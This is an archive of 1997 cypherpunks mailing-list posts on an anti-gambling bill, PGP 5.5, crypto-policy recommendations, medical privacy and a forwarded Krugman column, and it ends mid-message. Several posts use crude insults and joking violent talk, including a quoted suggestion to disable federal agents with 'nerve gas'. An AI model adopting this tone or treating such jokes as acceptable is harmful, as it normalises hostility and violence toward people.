
From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 29 Oct 1997 19:56:04 +0800
To: cypherpunks@toad.com
Subject: Kyl S-474 Anti-Gambling Bill passes committee
Message-ID: <3.0.3.32.19971029032045.007052b8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>> SENATE JUDICIARY COMMITTEE APPROVED BILL (S-474) BY SEN. KYL
   (R-ARIZ.) TO PROHIBIT GAMBLING OVER INTERNET.<> - Senate Judiciary
   Committee approved bill by Sen. Kyl to prohibit gambling over
   Internet. As proposed by Kyl to panel, bill would have allowed states
   to allow Internet gambling, but provision was dropped when Sens.
   Biden and Sessions objected. [TELEVISION DIGEST, 66 words]

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Wed, 29 Oct 1997 12:20:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: rescue Mrs Allen from the Feds (Re: Tim's worst nightmare.,..)
Message-ID: <506b11017bc6059ad972be3d6a7eeaa4@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>Attila T. Hun <attila@hun.org> writes:
>> Mrs.  Allen, 51, has attracted the sympathy of many neighbors, and
>> her case has become a rallying point for those who compare it to
>> Ruby Ridge and Waco as an example of overzealous law enforcement.
>> 
>>     she needs more than sympathy, she needs some action!
>
>I'm wondering ... surely all those militia types are watching this
>case -- wouldn't it be a real coo to intervene and rescue Mrs Allen
>:-)
>
>Let's talk tactics ... how would you disable the Feds without killing
>Mrs Allen -- helicopter and nerve gas -- well organised get away?

Question: Are the Feds involved, or is it just the State of Illinois?
If the Feds really are involved, what possible justification do they
have?

The best way to help Mrs. Allen is to find ways for her to communicate
with the civilized world.

Maybe use a model airplane deliver a CB?  Or a spread spectrum radio?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNFaN+5aWtjSmRH/5AQGvDwf8CswVCjME+ISU3Mw/8BqChhkpZnNs7hor
0hHJZ/TgtkCcEKJCL8tTD+SgMhFTXRHVPVQRBUQ2flk/bYUsDQF/UJ/D0RhK/0yX
6M0ErILUmVIo9Qn1PJzRebMYdobzIo+Td0gqB5ET4kswGZphd+Oa9KBq20FHhXxr
/uXz2ED0BaVCGLK+Fg3rmxiMg5OFWMzhjESTBkM0X9jhjFIQqqA+yniLkfDRoau6
yNonHOklxf/+VoxhD9mz8KtWc7r0AaHi05bjBJCzUpp4t14NuO1Bk9zUbhgkNIps
cjAd3MVPAdpTVpw0okw2Z4SR4xV/E++Hap9e0Sf9mNB7oKiRB4v75g==
=bbsb
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Wed, 29 Oct 1997 13:39:02 +0800
To: cypherpunks@toad.com
Subject: At Last...We Finally Know For Sure.
Message-ID: <Jf3UiQ1UeFFHOojYBkdkMQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



> -----BEGIN CHIEF CYPHERPUNKS SPOKESPERSON SIGNED MESSAGE-----
>   "Timmy C. Mayonnaise carries a turd in his wallet for identification
>    purposes."
> -----END CHIEF CYPHERPUNKS SPOKESPERSON SIGNED MESSAGE-----

                                \
That's good enough for me! {:>)=======<
                                /





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 29 Oct 1997 12:12:19 +0800
To: cypherpunks@toad.com
Subject: Re: I don't need no steenking badge...but I got one anyway
Message-ID: <199710290348.EAA28926@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
> At 2:32 PM -0700 10/28/97, Anonymous wrote:
> 
> >I know what you're thinking, kid.
> >You're thinking, "I'm going to try doing this on Halloween, and if I
> >get caught, I'm going to tell mom and dad I was checking on the old
> >lady's health."
> >
> >Forget it. You don't have a badge, and you're going to get your
> >bottom tanned.

> This has some very slight ObCrypto connections, in that badges are, as a
> class, taken to be "face value claims of authority." Flashing a badge is
> often all it takes to gain entrance to a house, or access to controlled
> areas.

  Indeed, many of the so-called 'off-topic' missives sent to the CPUNX
list actually deal with the heart of cryptography/key-identity, namely,
"face value claims of" authority/identity.
  e.g.
> >Forget it. You don't have a badge, and you're going to get your
> >bottom tanned.
 
  Why do the average citizens put up with behavior from legislators and
law enforcement agents that they would not tolerate in their children?
  It is because of the 'forged keys' of authority that they have 
uploaded to the mainstream media servers...
  "As an unelected member of an organization created by executive
   decree, I am happy to accept the reins of power."
  ...and because of the public misconception that a 'valid key' confers
some kind of real authority or integrity on its owner...
-----BEGIN CHIEF CYPHERPUNKS SPOKESPERSON SIGNED MESSAGE-----
  "Timmy C. Mayonnaise carries a turd in his wallet for identification
   purposes."
-----END CHIEF CYPHERPUNKS SPOKESPERSON SIGNED MESSAGE-----

> So, with the proliferation of essentially perfect copies of badges, and
> laser-printed credentials to match them, what happens to "real"
> badge-carrying officers? (And just what _are_ real officers in an era of
> ten thousand police and law enforcement jurisdictions, hundreds of agencies
> authorized to have their agents carry guns and make arrests, and no
> traceability, no top-down authentication system?)

  "Real officers?"
  There was a 60 Minutes show recently on "real officers" who rape and
murder the citizenry under cover of their badges.
  {How does this relate to cryptography? Glad you asked...} 

  Who do I send my GAK key to? 
  To the "real officer" who sexually molested and/or raped over a 
hundred citizens under the cover of authority?
  To the "real officers" who fired this guy when his activities came
to light, but gave him glowing letters of recommendation so that he
could move to other law enforcement agencies to continue his criminal
activity?
  To the "real officers" who rape and murder the citizens?
  To the hundreds/thousands/tens-of-thousands of "real officers" who
use their access to LEA databases to get the names and addresses of
citizen/victims in order to murder, rape and rob them?

> --Lt. Timothy May, sworn Peace Officer, Lagrange County, CLS

AnonymousPoliceOfficerRobberRapistMurderer, swearing Piece-of-Ass 
  Officer, Anytown, USA





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 29 Oct 1997 12:54:17 +0800
To: cypherpunks@toad.com
Subject: Re: PGP and Outlook
Message-ID: <199710290437.FAA03889@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



wannabe smart wrote:
> 
> So without the obligatory flames for using a microshaft product,
> can anyone tell me if they have PGP 5.0 working for the
> newest version of Outlook? (And how?)

We could tell you, but then we'd have to killfile you...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Wed, 29 Oct 1997 22:30:04 +0800
To: cypherpunks@cyberpass.net
Subject: Private Health Care [On topic, please read.]
Message-ID: <199710291412.GAA29666@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Michael Sims wrote:
[Ed. note: Declan wrote?:]
> >>The free market approach won't keep medical records private.
>
> > In other words, the reason a "free market" approach may not work
> > right now is because the market isn't free.

> Declan, every part of the "health-care market" that people are
> complaining about, the parts of it that routinely and for fiscal
> reasons violate people's privacy, are completely and utterly
> dollar-driven and do not result from big nasty government making any
> laws.

This greatly underestimates the influence and involvement of the
government.

The medical profession uses the government to keep out competitors and
keep their prices high.  In many areas, the majority of the money
spent on legislative campaigns is provided by various professional
medical organizations.

The flip side is that the medical profession will have a powerful
incentive to remain in the good graces of the established political
powers, whatever they may be.

That means no weird experiments in protecting people's privacy.

Doctors are also terribly vulnerable to liability suits.  As patients,
we are unable to agree to waive most liability.  This makes it harder
to walk into a doctor's office with a sheaf of bills and ask for
service.  The doctor has a strong incentive to have everything
documented and ship shape because to do otherwise would make him or
her look poorly in court.  This may also endanger the doctor's
liability insurance policy.

And, because the medical market is tightly controlled, it is not
possible to legally enter the market as an outsider.  IMNSHO, I should
be able to consult my drug dealer about ailments and their proper
medication.  The fact is, many people have much greater rapport with
their drug dealers than with their doctors and there is often greater
concern by the drug dealer for his client's welfare, at least in terms
of obvious problems such as pain.

Similar things can be said for health insurance companies.  They are
very greatly constrained in the types of policies they can offer and
the sorts of agreements they can make with their customers.  You could
imagine an anonymous policy which opens with a medical exam which is
repeated every so often for couple of years before taking effect.
After, say, two years of good health, full coverage on the policy
kicks in.

Ironically, some states have rules very much like this, minus the
anonymity.  After a certain number of years all illnesses are covered
regardless of whether the customer had the illness previously and lied
about it on their application.  (Some states even forbid life
insurance issuers from excluding suicide for coverage for long term
customers!  Not only does this raise the price of life insurance, but
in certain instances it compels people to kill themselves "for the
good of their family". )

Given this legal environment, you would expect some company some where
to try to corner the market on anonymous health insurance.

There are a few reasons why this does not happen.

One is the extreme discretionary power of insurance commissioners.
This power is probably even greater than in most industries because
the insurance industry is, absurdly, widely hated.  No insurance
company is going to rock the boat.

Insurance regulation also creates a barrier to entry.  Many states
limit the amount of profit an insurance company can make.  These
limits are often very low and do not justify new entrants or new and
interesting product offerings.

Finally, in practice very few people choose their own insurance.  The
purchase decision is made indirectly by the company they work for.
The feedback between what the user of insurance wants and what he or
she gets is attenuated by this structure.

This structure is required by law in many places because employers are
required to provide "free" health insurance to their employees.  The
federal tax code strongly encourages companies to provide health
insurance as it is a benefit which is not taxed as income.

There is more to be said on this topic, I am sure.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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RaguGy69kSBNqOzLen4sV0xL+w2nw8iMVWTQ0Xg1Zo6QgLnAIv+k8w==
=DdvV
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Wed, 29 Oct 1997 13:29:29 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Microsoft's CMR Keys
In-Reply-To: <v0310280db07bcfdb8ea7@[208.129.55.202]>
Message-ID: <Pine.BSF.3.96.971029061404.14069G-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 28 Oct 1997, Steve Schear wrote:
> 
> OK, I'll bite.  Why don't we both escrow $25,000 in MT ecash with a trusted
> 3rd party, say Lucky, while another party, say TCM judges whether your
> private key matches MS' public key.  Winner take all.  All decsion by the
> judge are final.

Fine with me.

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 29 Oct 1997 19:29:42 +0800
To: cypherpunks@toad.com
Subject: EU E-Commerce Report
Message-ID: <1.5.4.32.19971029111842.00b6b4b8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The EU-based Global Internet Project has published a new 
report on electronic commerce:

   http://jya.com/gip-ecomm.htm  (29K)

An excerpt on crypto policy:

1.No nation's cryptography policy can stand alone.

2. Immediate steps should be taken to solve pressing 
cryptographic needs that directly affect the global Internet.

3. Reliable and international systems for authentication 
and integrity should be established.

4. Governments and industry must respond to legitimate user 
concerns.

5. Users should be permitted to decide whether and the degree 
to which key escrow, trusted third party, or key recovery 
technologies will be desirable in their environments or not.

6. Trade barriers should not be disguised as cryptographic 
regulations.

7. Export controls on encryption should be made multilateral 
in practice and when used, focused narrowly and genuinely on 
national security threats. They should not be used as indirect 
domestic controls.

8. Governments should establish and publish the process by 
which keys will be obtained for government purposes. This 
process should include independent judicial review, time limits 
on access, reasonable notice to the key owner when this would 
not interfere with the purposes of the decryption, and 
opportunities for independent audit of compliance with legal 
process.

9. Liability for misuse of escrowed keys should be the subject 
of international understanding.

10. When key recovery is voluntarily chosen by the user, 
self-retention of key recovery information should be encouraged.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 29 Oct 1997 14:17:48 +0800
To: cypherpunks@toad.com
Subject: Re: At Last...We Finally Know For Sure.
Message-ID: <199710290607.HAA14255@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



bureau42 Anonymous Remailer wrote:
> 
> > -----BEGIN CHIEF CYPHERPUNKS SPOKESPERSON SIGNED MESSAGE-----
> >   "Timmy C. Mayonnaise carries a turd in his wallet for identification
> >    purposes."
> > -----END CHIEF CYPHERPUNKS SPOKESPERSON SIGNED MESSAGE-----
> 
>                                 \
> That's good enough for me! {:>)=======<
>                                 /


Hey! Somebody shot my arms off! {:<)=======<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 29 Oct 1997 21:17:57 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: [cpe:3185] Re: rescue Mrs Allen from the Feds (Re: Tim's (fwd)
Message-ID: <199710291312.HAA12834@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 28 Oct 1997 23:44:10 -0800
> Subject: Re: [cpe:3185] Re: rescue Mrs Allen from the Feds (Re: Tim's
>  worst nightmare.,..) (fwd)

> In Reply to the Message wherein it was written:
> [snip]
> >Remember, dead men NEVER won a war.
> 
> Wrong.
> 
> Dead men *win* the wars by foolishly dying for someone or something, but
> the really *smart* ones live to enjoy the peace afterwards and rewrite
> history to make themselves look good.
> 
> You're cynical all right, but you're just not cynical *enough*.

[The names have been changed to protect the idiotic]

Dead men are dead, they don't do anything but feed worms.

Live men win wars by being the ones who don't say 'uncle'.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 29 Oct 1997 21:24:34 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Orthogonal (fwd)
Message-ID: <199710291314.HAA12880@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
> Subject: Re: Orthogonal (fwd)
> Date: Wed, 29 Oct 1997 02:28:33 -0500 (EST)

> : Some of you people are fucking worthless for anything other than baiting.
> 
> Oh, come now, any human has many uses if you put your mind to it.
> A cheap, renewable replacement for ballistic test gelatin, maybe? ;)

Ok, so I was wrong that particular point. Come to think of it, I do need
somebody to wipe my butt after I shit too, when I do it my carpal-tunnel
syndrome gets aggravated...


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@dueprocess.com>
Date: Wed, 29 Oct 1997 20:19:08 +0800
To: cypherpunks@Algebra.COM
Subject: FWD: US Computer Security Called a Critical Mess
In-Reply-To: <19971028221501.23310.qmail@ladyluck.wired.com>
Message-ID: <3.0.3.32.19971029071539.007356d0@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



>   W I R E D   N E W S              http://www.wired.com
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
>           BUSINESS    CULTURE    TECHNOLOGY    POLITICS
>
>           T O P   S T O R I E S         11:55am 28.Oct.97.PST
>           - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
>       TECH. 11:55 am
>           US COMPUTER SECURITY CALLED A
>           CRITICAL MESS
>           Saying America's critical infrastructure "stinks," security
>           guru Peter Neumann fires off a warning over the Clinton
>           administration's "obvious" recommendations for staving
>           off hacks.
>           . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
>           http://www.wired.com/news/email/8053.html


*************************************************************
Lynne L. Harrison, Esq.       |    A Word to the Wise:
Poughkeepsie, New York        |     "When the gods
lharrison@dueprocess.com      |     wish to punish us,
http://www.dueprocess.com     |   they answer our prayers."
*************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@bywater.songbird.com>
Date: Wed, 29 Oct 1997 23:39:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:3185] Re: rescue Mrs Allen from the Feds
In-Reply-To: <3456BE4E.3B3D@ppw.net>
Message-ID: <19971029072956.23995@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Oct 29, 1997 at 11:17:43AM +0000, Adam Back wrote:
> 
[...]
> 
> 
> The Gandi style walk in, in numbers walk off with Mrs Allen :-)  What are
> they going to do, shoot 1000 unarmed citizens?

The 100 citizens would probably be shot by Mrs Allen.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Wed, 29 Oct 1997 21:28:03 +0800
To: cypherpunks@algebra.com
Subject: apropos list talk and our culture
In-Reply-To: <v0310280fb07c3cd80352@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.971029073155.12589A-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain




"Michael Hays" is a new CBS series about a U.S. District Attorney.  Last
night's episode was about how a radio talk-show host incited a listener
to kill a BATF agent and was brought to justice.  DA convinced a jury
that some things were "more important" than the first amendment.

bd 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Wed, 29 Oct 1997 15:41:58 +0800
To: Lucky Green <cypherpunks@Algebra.COM
Subject: Re: PGP 5.5 available outside US
In-Reply-To: <Pine.BSF.3.96.971028050628.12527A-100000@pakastelohi.cypherpunks.to>
Message-ID: <3.0.3.32.19971029083648.00987670@localhost>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3985.1071713744.multipart/signed"

--Boundary..3985.1071713744.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Lucky Green wrote:
>PGP 5.5 features superior LDAP keyserver integration, multiple signature
>categories, and automatic decryption (set Preferences -> Email ->
>Automatically Decrypt).

How does the keyserver integration work? Is it possible to have PGP
automatically fetch the public key from the servers whenever I read a
signed message, and to show me if this newly fetched key is in my web of
trust?

I want the key fetched every time, not cached locally on my own key ring,
so that revocations shows up immediately.

Is the communications channel to the key server encrypted, so that a
passive listener won't see what keys I fetch?

I understand that anybody who breaks root on the key servers will see a lot
of interesting traffic. Can we do anything about that?

Mike.

--Boundary..3985.1071713744.multipart/signed
Content-Type: application/octet-stream; name="pgp00010.pgp"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="pgp00010.pgp"
Content-Description: "PGP signature"

LS0tLS1CRUdJTiBQR1AgTUVTU0FHRS0tLS0tClZlcnNpb246IFBHUCBmb3Ig
QnVzaW5lc3MgU2VjdXJpdHkgNS41CgppUUEvQXdVQk5GYlpsWHVTV3ljdzZR
RlFFUUtiSmdDZzRlemYwcmwwQk1XbDBXV0IzVVBJWk44ZHdvZ0FvSXp5Cmhl
RzR3ejBTa0I3TVNxM1dMYk1LdFZiTAo9RGIwQgotLS0tLUVORCBQR1AgTUVT
U0FHRS0tLS0tCg==
--Boundary..3985.1071713744.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 29 Oct 1997 22:49:29 +0800
To: cypherpunks@cyberpass.net
Subject: <<Vitamin B>>(October 28, 1997) The Power of Ecobabble
Message-ID: <v03110734b07cf6e3888a@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Lotus-FromDomain: ILGW @ BIONOMICS@INTERLIANT @ OUTBOUND
From: "VitaminB"<VitaminB@bionomics.org>
To: "DAILY DOSE"<DAILY_DOSE@maxager.com>
Date: Tue, 28 Oct 1997 17:37:57 -0800
Subject: <<Vitamin B>>(October 28, 1997) The Power of Ecobabble
Mime-Version: 1.0
X-MIME-Autoconverted: from quoted-printable to 8bit by pop.sneaker.net id
VAA29180



Vitamin B:
Your Daily Dose of Bionomics

October 28, 1997

The Power of Ecobabble

Paul Krugman is, without doubt, a well known economist.  With
a professorship at MIT and a publication list long enough to
impress Stephen King, those Nobel guys in Sweden are
really the only ones he hasn't impressed.  In other words,
just the kind of successful, mainstream economist who
wouldn't give Bionomics the time of day.

Until last week, that is.

We don't know why, but out of the blue, Paul Krugman
chose to devote his entire _Slate_ column to an analysis
of Bionomics (much like a shark will analyze a tuna).
Maybe he was wondering why he, a clear expert in the field
of evolutionary economics, wasn't invited to speak at our
conference (Nov 13-15 in San Francisco plug plug plug).
Maybe he actually doesn't think that language and
metaphors matter to our mental maps of the economy.
Or, maybe he got asked just one too many times, "So,
Prof. Krugman, what do you think of _Bionomics_, and
this guy Rothschild?  He's been talking about biology
and economics since 1990."

In any case, we're genuinely pleased to see he's spending
so much time thinking about Bionomics -- you simply can't
write this forcefully about something off-the-cuff.

For those who haven't read it yet, the article is included below:


The Power of Biobabble
Pseudo-economics meets pseudo-evolution.
By Paul Krugman

The invitation came, rather disappointingly, by conventional mail.
Still, it sounded enticing: "The Cato Institute and the Bionomics
Institute invite you to Now What? Living With Perpetual Evolution,
the fifth annual Bionomics Conference." Leading the list of speakers
for the Nov. 13-15 conference was Gregory Benford, one of my
favorite science-fiction writers. And at the top of the card was a
stirring quotation from Bionomics Institute founder Michael
Rothschild:

?Like a deep-sea volcano bursting to the surface, spewing out vast
new lands soon to be inhabited by a complex ecosystem, the Web
is creating a virtual landscape that will soon be occupied by an
awesome array of economic organisms. ... It's evolution at warp
speed. Strap yourself in.?

The Cato Institute is a libertarian think tank noted mostly for its
adamant opposition to government regulation. But what on earth
(or in cyberspace) is bionomics--and why is Cato (and _Forbes
ASAP_, which is a co-sponsor of the conference) promoting it?

Although you have to look at Rothschild's 1990 book, _Bionomics:
Economy as Ecosystem_, to get the full flavor, the essential tenets
of the movement are spelled out on the Bionomics Institute home page,
which offers a primer called "Bionomics 101." The primer explains:
[A]ll traditional schools of economics are based on the concepts of
classical physics, while bionomics is based on the principles of
evolutionary biology. ... [O]rthodox economics describes the
"economy as a machine." ... Instead, bionomics says that an
economy is like an "evolving ecosystem." A modern market
economy is like a tropical rainforest.

Sounds good, doesn't it? Bionomics has won converts not only at the
Cato Institute but also among a wide variety of influential people
ranging from Newt Gingrich to Clyde Prestowitz. (Fortune has
described it as "a policymakers' version of The Celestine Prophecy.")
And Rothschild is certainly a bright, energetic fellow. There are,
however, two big weaknesses in his thinking: He doesn't know much
about economics, and he doesn't know much about evolution. When
I say that Rothschild doesn't know much about economics, I don't
mean that conventional economics is right and his ideas are
wrong--although where they differ that is generally true. I mean that
his description of what conventional economics is all about bears no
relation to what actual economists believe or say.

Take, for starters, his assertion that "orthodox economics describes
the 'economy as a machine.' " You might presume from his use of
quotation marks that this is something an actual economist said, or
at least that it was the sort of thing that economists routinely say. But
no economist I know thinks of the economy as being anything like a
machine--or believes, as Rothschild asserts a bit later, that because
the economy is like a machine, it is possible to make precise
predictions. (In fact, it was economists who came up with the famed
"random walk" hypothesis about stock prices, which says that they
are inherently unpredictable.)

It gets better. Rothschild tells us, "I know this is hard for
non-economists to believe, but orthodox economics essentially ignores
technological change." That is even harder for economists to believe.
In fact, I don't know how I'm going to break the news to the guy in the
next office. You see, poor Bob Solow is under the impression that he
got the Nobel Prize for his work on technological change, in particular
for his demonstration that technology, not capital accumulation,
historically has been the main driving force in economic growth. On
a different subject, it's going to be a shock to environmental
economists--who have spent decades arguing that one good way
to control pollution is to create a market in emission permits--to
learn that this is an idea unique to bionomics and totally at odds
with orthodox economic thinking. And I'm not feeling too good myself:
Rothschild insists that conventional economics depends on the
assumption of diminishing returns and that, as a result, economists
have completely ignored the possibility of increasing returns. Does
this mean I have to give back that medal the American Economic
Association gave me for my work on increasing returns and
international trade?

Well, all this is more or less the usual. Whenever a manifesto about
economics contains a sentence that begins, "Orthodox economics
assumes that ..." it almost always completes that sentence with
something strange and unfamiliar. In just the last two years, I've
learned that I believe that gross domestic product is the sole measure
of economic welfare, that growth at more than 2.5 percent always
causes inflation, and that sudden speculative attacks on currencies
can't happen. I've also learned that the Nobel Memorial Prize in
Economic Sciences keeps going to supply-siders--or should that
be Marxists?

What is surprising, however, is that a man who proposes to
replace what he imagines to be the mechanistic worldview of
conventional economics with a new view based on evolutionary
biology should know so little about the discipline that supposedly
inspires him.

Rothschild's lack of familiarity with evolutionary theory may not
be obvious to uninformed readers--his book bristles with
ostentatious footnotes and seemingly learned references.
It happens, however, that I am an evolution groupie. I started
as a fan of great popularizers like Richard Dawkins and Steven
Pinker, and I have since graduated not only to hero worship of
the leading evolutionary theorists but also to reading textbooks
and even journal articles. And so when I picked up a copy of
Bionomics, the first thing I did was check out the author's treatment
of my heroes and of what I knew to have been the important
developments in evolutionary theory since Darwin. His record
was perfect: Not one of the right people was mentioned, not
one of the key developments discussed. The bionomics
version of what evolutionary theory is about has as little to do
with the real thing as its version of what economics is about does.

What the bionomics guys apparently think evolution is about is
constant, breathless change--strap yourself in!--change so
rapid that everything is unpredictable, that the rules themselves
are constantly changing. Rothschild seems, in particular, to
view evolutionary thinking as the antithesis of "equilibrium
economics." Apparently nobody told him that equilibrium
thinking--the idea that in order to understand how individuals
interact, it is often useful to ask what would happen if each
individual was doing the best he or she could given what everyone
else is doing--is almost as prevalent in evolutionary theory
as it is in economics. In fact, the really funny thing is that for
the most part the bionomics program has already been
implemented: Economics already is very similar to evolutionary
theory, and vice versa. However, neither field looks anything
like bionomics.

OK, enough already. The really interesting question is why the
Cato Institute and other free-market conservatives should be
willing to squander their intellectual credibility by associating
their names with this sort of thing. After all, conventional
economics already has lots of nice things to say about free
markets. Why not stick with Adam Smith?

Part of the answer, I suspect, is sociological. Traditional
conservative causes like the gold standard tend to have a
musty, old-fashioned feel. They sound like the sort of thing
that appeals mainly to rich old men (and conservative think
tanks are, of course, mainly funded by rich old men). Young,
vigorous conservatives are therefore always looking for ways
to seem more fashion-forward. Some of them parade their
knowledge of pop culture, some make a point of being
photographed wearing miniskirts, and some go for what we
might call the Wired style of economic rhetoric--the continual
assertion that things are changing! so fast! that we have to
use lots! of exclamation points!!!

But there is also a more serious reason that bionomics
appeals to the free-market faithful: They find the conventional
case for laissez-faire too modest, too conditional, for their
tastes. Standard economic theory offers reasons to believe
that markets are a good way to organize economic activity.
But it does not deify the market system, and it even offers a
number of fairly well-defined ways in which markets can fail,
or at least could be helped with government intervention. And
that, for some conservatives, is just not good enough.

Bionomics doesn't actually provide any coherent argument in
favor of free markets. In fact, Rothschild's original book seems
to hedge its bets: It spends a full chapter ("Japan's Secret
Weapon") explaining how government-business cooperation
makes the Japanese economy invincible (remember, the book
was published in 1990). But what the doctrine lacks in serious
argument it makes up for in rhetoric. The economy is an
ecosystem, like a tropical rain forest! And what could be worse
than trying to control a tropical rain forest from the top down?
You wouldn't try to control an ecosystem, wiping out species
you didn't like and promoting ones you did, would you?

Well, actually, you probably would. I think it's called "agriculture."

What do we learn from the willingness of extreme free-market
conservatives to associate themselves with crank doctrines
like bionomics? I think the main lesson is that their faith in free
markets is just that: a faith, which does not rest on either logic
or evidence. Belief comes first; then they look for arguments to
justify that belief. And they are therefore not too scrupulous
about the quality of those arguments, or of those who produce them.

Anyway, I guess I won't attend the conference. I would have liked to
meet Benford; but I couldn't stand to watch the author of
_Great Sky River_ demeaning himself by consorting with such
disreputable company.

Paul Krugman is a professor of economics at MIT whose books include
_The Age of Diminished Expectations_ and _Peddling Prosperity_.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Wed, 29 Oct 1997 17:57:33 +0800
To: cypherpunks@toad.com
Subject: Where are the tough guys when we need them?
Message-ID: <199710290845.JAA00766@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim wrote:

> America is emulating the Soviet "psychiatric prison" system. 
> Look at Roby Ridge, where some possibly eccentric old lady 
